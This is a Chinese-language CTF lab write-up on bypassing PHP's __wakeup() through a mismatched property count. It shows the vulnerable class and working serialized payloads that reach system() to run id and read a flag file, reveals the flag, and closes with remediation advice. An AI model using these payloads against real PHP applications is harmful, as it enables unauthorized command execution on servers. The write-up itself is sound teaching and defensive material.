【好靶场】PHP反序列化绕过

发布时间:2026/8/25 15:35:22

【好靶场】PHP反序列化绕过
【好靶场】PHP反序列化绕过【好靶场】PHP反序列化绕过__wakeup 绕过与命令执行前置知识一、题目源码二、正常 Payload 为什么会失败三、绕过思路四、验证命令执行1. 本地 PHP 7.3.4 检测结果2. 授权靶场页面回显五、字符串长度一定要写对六、查找 Flag七、漏洞原理总结八、修复建议1. 不要反序列化用户输入2. 禁止在魔术方法中调用危险函数3. 使用类白名单4. 做签名校验总结【好靶场】PHP反序列化绕过__wakeup 绕过与命令执行本文仅用于授权靶场、CTF 练习和本地安全学习。前置知识学习本题前需要先理解几个点。本文涉及的本地检测环境为 PHP 7.3.4实际绕过效果以授权靶场页面回显为准因为__wakeup()属性数量绕过和 PHP 版本有关。这里的__wakeup()绕过和 PHP 版本有关核心原因是 PHP 早期在处理反序列化对象时如果序列化字符串中声明的属性数量大于实际属性数量可能会导致__wakeup()没有被正常调用。常见结论如下PHP 版本是否容易触发属性数量绕过__wakeup()PHP 5.x常见可绕过PHP 7.0.x 早期版本常见可绕过PHP 7.1大多已修复通常无法再用该方式绕过PHP 7.3.4本机测试不可用PHP 8.x通常不可用1.unserialize()会还原对象PHP 反序列化时如果序列化字符串中包含对象PHP 会尝试按照类名还原对象和属性。示例对象序列化格式O:12:BypassWakeup:1:{s:3:cmd;s:2:id;}含义OObject对象12类名BypassWakeup长度为 121对象属性数量为 1s:3:cmd属性名是cmds:2:id属性值是id。2.__wakeup()的触发时机__wakeup()是 PHP 魔术方法通常会在unserialize()反序列化对象时自动触发。本题中publicfunction__wakeup(){$this-cmdecho waf;}它的作用是把$cmd强行改成echo waf所以如果__wakeup()正常执行我们传入的命令会被覆盖。3.__destruct()的触发时机__destruct()会在对象销毁时自动触发通常是脚本执行结束时。本题中publicfunction__destruct(){system($this-cmd);}也就是说只要$cmd没有被__wakeup()覆盖最后就会进入system($this-cmd)。一、题目源码?phpclassBypassWakeup{public$cmdecho ok;publicfunction__wakeup(){$this-cmdecho waf;}publicfunction__destruct(){system($this-cmd);}}$ser_data$_GET[data];unserialize($ser_data);?题目要求Getshell。但是这题的关键不是反弹 shell而是先理解可控 data 参数 → unserialize() → 触发魔术方法 → system($cmd)二、正常 Payload 为什么会失败如果正常构造 1 个属性O:12:BypassWakeup:1:{s:3:cmd;s:2:id;}执行流程是unserialize() ↓ 触发 __wakeup() ↓ cmd 被改成 echo waf ↓ 脚本结束触发 __destruct() ↓ 执行 echo waf所以正常情况下即使我们传入id也会被__wakeup()改掉。三、绕过思路老版本 PHP 中存在一个经典特性当序列化字符串中声明的对象属性数量大于实际属性数量时可能导致__wakeup()不被正常触发。正常写法O:12:BypassWakeup:1:{s:3:cmd;s:2:id;}绕过写法O:12:BypassWakeup:2:{s:3:cmd;s:2:id;}变化点只有一个BypassWakeup:1改成BypassWakeup:2真正存在2 个属性的标准序列化字符串大括号里写两组属性键值对声明数量和实际数量保持一致:2:O:12:BypassWakeup:2:{s:3:cmd;s:2:id;s:4:test;s:1:1;}拆解:2:→ 声明 2 个属性实际两个属性cmd、test声明数量 实际属性数量 →__wakeup正常触发也就是声明有 2 个属性但实际只给了 1 个cmd属性。这样$cmd就不会被__wakeup()改成echo waf脚本结束时会进入system($this-cmd);四、验证命令执行先用无害命令测试idPayloadO:12:BypassWakeup:2:{s:3:cmd;s:2:id;}1. 本地 PHP 7.3.4 检测结果本地检测环境PHP 7.3.4 CLI (NTS MSVC15 x64) PHP 路径E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe正常触发__wakeup()的 PayloadO:12:BypassWakeup:1:{s:3:cmd;s:2:id;}本地输出[] __wakeup 被触发 [] __destruct 被触发 [] 即将执行命令echo waf waf说明cmdid被__wakeup()覆盖成了echo waf。再测试属性数量异常的 PayloadO:12:BypassWakeup:2:{s:3:cmd;s:2:id;}本地 PHP 7.3.4 中没有输出id结果说明当前本地版本对这种异常序列化数据不会继续走到可利用的析构执行流程。这个现象很重要__wakeup()绕过和 PHP 版本有关不能只看本地结果判断靶场一定不可用。2. 授权靶场页面回显在题目靶场提交同一个 Payload 后页面回显收到输入字符串: O:12:BypassWakeup:2:{s:3:cmd;s:2:id;} uid33(www-data) gid33(www-data) groups33(www-data) 注意system 命令的输出不会直接在此展示区显示。请关注服务器回显或副作用。看到uid33(www-data)说明命令已经在靶场服务器上执行成功。这里的提示意思是system()的输出不一定单独显示在“反序列化结果”区域里可能会混在页面响应中。只要页面出现id的结果就说明命令执行成功。五、字符串长度一定要写对比如命令echo SAFE_TEST长度是 14echo 4 空格 1 SAFE_TEST 9 总长度 14正确 PayloadO:12:BypassWakeup:2:{s:3:cmd;s:14:echo SAFE_TEST;}如果复制时写成echo SAFE\_TEST那就多了一个反斜杠长度变成 15。此时仍然写s:14反序列化就会失败。所以 PHP 反序列化 Payload 有一个非常重要的细节s:长度:内容长度必须和内容严格对应。六、查找 Flag直接构造payloadO:12:BypassWakeup:2:{s:3:cmd;s:17:cat /tmp/flag.txt;}获取到flag为flag{d09d2ffd683c4e88a0fe18c512602d01}七、漏洞原理总结本题的漏洞链路如下用户控制 data 参数 ↓ 服务端直接 unserialize($ser_data) ↓ 构造异常属性数量绕过 __wakeup() ↓ cmd 属性保持用户传入的值 ↓ 对象销毁时触发 __destruct() ↓ system($this-cmd) 执行命令关键点有三个data参数完全可控unserialize()直接处理用户输入__destruct()中存在危险函数system()。八、修复建议1. 不要反序列化用户输入最根本的修复方式是不要把外部可控数据传入unserialize()。可以改用 JSON$datajson_decode($_GET[data],true);但 JSON 解析后也要继续做字段校验不能直接信任用户输入。2. 禁止在魔术方法中调用危险函数不要在__destruct()、__wakeup()、__toString()等魔术方法中直接调用system()exec()passthru()shell_exec()popen()proc_open()魔术方法触发时机隐蔽一旦对象可控很容易被利用。3. 使用类白名单如果业务必须使用unserialize()至少加上类白名单$objunserialize($ser_data,[allowed_classes[SafeClass]]);但要注意类白名单只能限制类不能解决当前类内部危险逻辑的问题。4. 做签名校验服务端生成序列化数据时附带 HMAC 签名。反序列化前先验签$expectedhash_hmac(sha256,$ser_data,$secret);if(!hash_equals($expected,$_GET[sign])){exit(invalid data);}签名不通过直接拒绝处理。总结本题利用思路可以概括为构造 BypassWakeup 对象 ↓ 把 cmd 改为想执行的命令 ↓ 把属性数量 1 改成 2 ↓ 绕过 __wakeup() ↓ 等待 __destruct() 调用 system()最终测试 PayloadO:12:BypassWakeup:2:{s:3:cmd;s:2:id;}这题重点不是“命令本身”而是理解__wakeup()为什么会拦截以及为什么属性数量异常能够绕过它。

相关新闻

谈谈Flutter中的Key(二)——常用的Key

谈谈Flutter中的Key(二)——常用的Key

2026/8/25 15:35:22

前言在上一篇文章中,我们探讨了 Flutter 中 Key 的基本概念、作用以及为什么需要 Key。本文将继续深入,重点介绍 Flutter 开发中几种常用且重要的 Key 类型,包括它们的适用场景、使用方式以及背后的原理。1.Key的继承体系Key (抽象类) ├──…

Go实战:实时推送系统设计

Go实战:实时推送系统设计

2026/8/25 15:35:22

TL;DR 核心要点速览 Go适合后端API、微服务、云原生、CLI工具 高并发秒杀用Redis原子操作+限流 分布式锁用Redis SETNX或etcd租约 分布式事务用Saga模式或事件溯源 Go微服务通信用gRPC或消息队列 本篇是Go项目实战模块,含完整可运行项目 摘要:本文详细介绍实时推送系统设计,涵…

Python HTTPX 超时不是一个数字:连接池、重试与可观测性排障实战

Python HTTPX 超时不是一个数字:连接池、重试与可观测性排障实战

2026/8/25 15:35:22

Python HTTPX 超时不是一个数字:连接池、重试与可观测性排障实战 摘要:HTTP 请求“超时”并不只代表服务器慢。HTTPX 将超时拆为连接、读取、写入和连接池等待四类。本文用本地慢响应服务器稳定复现 ReadTimeout 与 PoolTimeout,再给出连接池…

【非标自动化】3、AutoShop快速理解(系统变量表)

【非标自动化】3、AutoShop快速理解(系统变量表)

2026/8/25 16:35:25

这些“系统变量表”不只是给你看的,它们本质上是 AutoShop 已经预先定义好的一批特殊变量,用来让程序访问 PLC 自身的状态、通信状态、模块状态和系统参数。可以先把变量分成两类:普通变量:由用户自己定义 系统变量:由…

【非标自动化】3、AutoShop快速理解(软件界面)

【非标自动化】3、AutoShop快速理解(软件界面)

2026/8/25 16:35:25

这张界面可以先不要把它看成“很多复杂菜单”,而要把它理解成一套完整的PLC工程工作台:先配置PLC和硬件↓ 定义变量和设备地址↓ 编写控制程序↓ 编译检查↓ 连接PLC并下载↓ 在线监控和调试↓ 排查故障、保存项目界面上的不同区域,就是分别服…

黑马苍穹外卖笔记day10

黑马苍穹外卖笔记day10

2026/8/25 16:35:25

订单状态定时处理、来单提醒和客户催单Spring Task:Spring Task是Spring框架提供的任务调度工具,可以按照约定的时间自动执行某个代码逻辑。应用场景特别广泛,只要是需要定制处理的场景都可以使用Spring Taskcron表达式:cron表达式…

【非标自动化】3、AutoShop快速理解(软件介绍)

【非标自动化】3、AutoShop快速理解(软件介绍)

2026/8/25 16:35:25

AutoShop是汇川面向小型PLC(Programmable Logic Controller,可编程逻辑控制 器)产品的编程组态软件,具有友好的编程和调试环境,拥有丰富、强大的通信和控 制功能。支持梯形图(LD)、顺序功能图&a…

Kotlin 语言【知识点整理2】

Kotlin 语言【知识点整理2】

2026/8/25 16:35:24

目录 一、基本概念 1.包的定义与导入 2.程序入口点 2.1 输入 3.变量 二、基本类型 1.数字 1.1 整数类型 1.2 浮点类型 1.3 数字字面常量 1.4 装箱与缓存 1.4.1 JVM是怎么存储数字的? 1.4.2 使用可空类型的时候会触发装箱操作: 1.4.3 JVM 对…

es怎么做拆词的

es怎么做拆词的

2026/8/25 16:25:24

ES 做拆词(分词)的核心是分词器,它在索引文档和搜索时,负责把长文本切成一个个独立的词(term),这样才能建立倒排索引,实现高效的全文搜索。 这个过程主要有三种角色: 输入…

[光学原理与应用-521]:对光的错误理解与纠偏

[光学原理与应用-521]:对光的错误理解与纠偏

2026/8/24 19:53:32

首先光是一种能量的载体和形态,宏观上观察到的光是由无数个微观的光量子组成的,每个光子在产生的瞬间,其在真空的空间中以确定不变的速度沿着一个初始的方向一直向前,在微观层面,每个光量子的运动轨迹是以波函数所展现…

SIP通话转接原理与REFER方法实战解析

SIP通话转接原理与REFER方法实战解析

2026/8/24 19:56:07

1. 通话转接不是“挂断再拨号”,而是SIP会话的动态重定向你有没有遇到过这样的场景:客服坐席A正在和客户通电话,突然需要把这通对话无缝转给专家坐席B,客户完全感知不到中间的断连——既没听到忙音,也没被要求重新拨号…

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

2026/8/24 21:16:09

1. 为什么选择Kolla-ansible来部署单节点OpenStack?如果你正在寻找一种能把OpenStack从“概念”快速变成“可用的实验环境”的方法,那么Kolla-ansible几乎是当前最主流、最省心的选择。我见过太多人卡在手动编译依赖、配置服务、处理版本冲突的泥潭里&am…

三步把QQ空间历史说说导出到本地:GetQzonehistory 极简指南

三步把QQ空间历史说说导出到本地:GetQzonehistory 极简指南

2026/8/25 0:04:34

三步把QQ空间历史说说导出到本地:GetQzonehistory 极简指南 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory Meta Description:GetQzonehistory 是一个QQ空间历史说…

洛谷 P7912:[CSP-J 2021 T4] 小熊的果篮 ← 双向链表

洛谷 P7912:[CSP-J 2021 T4] 小熊的果篮 ← 双向链表

2026/8/25 0:04:35

【题目来源】 https://www.luogu.com.cn/problem/P7912 【题目描述】 小熊的水果店里摆放着一排 n 个水果。每个水果只可能是苹果或桔子,从左到右依次用正整数 1,2,…,n 编号。连续排在一起的同一种水果称为一个“块”。小熊要把这一排水果挑到若干个果篮里&#x…

Transformers.js 网页端图像抠图实战:零后端 3 行代码返回透明 PNG

Transformers.js 网页端图像抠图实战:零后端 3 行代码返回透明 PNG

2026/8/25 0:04:35

Transformers.js 网页端图像抠图实战:零后端 3 行代码返回透明 PNG 【免费下载链接】transformers.js State-of-the-art Machine Learning for the web. Run 🤗 Transformers directly in your browser, with no need for a server! 项目地址: https:/…

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

2026/8/22 2:02:26

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…

导师推荐!2026最新AI论文工具测评与实用推荐

导师推荐!2026最新AI论文工具测评与实用推荐

2026/8/22 4:13:47

2026年真正好用的AI论文工具,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

告别游戏崩溃:XCOM 2模组管理器的智能革命

告别游戏崩溃:XCOM 2模组管理器的智能革命

2026/8/22 1:32:34

告别游戏崩溃:XCOM 2模组管理器的智能革命 【免费下载链接】xcom2-launcher The Alternative Mod Launcher (AML) is a replacement for the default game launchers from XCOM 2 and XCOM Chimera Squad. 项目地址: https://gitcode.com/gh_mirrors/xc/xcom2-lau…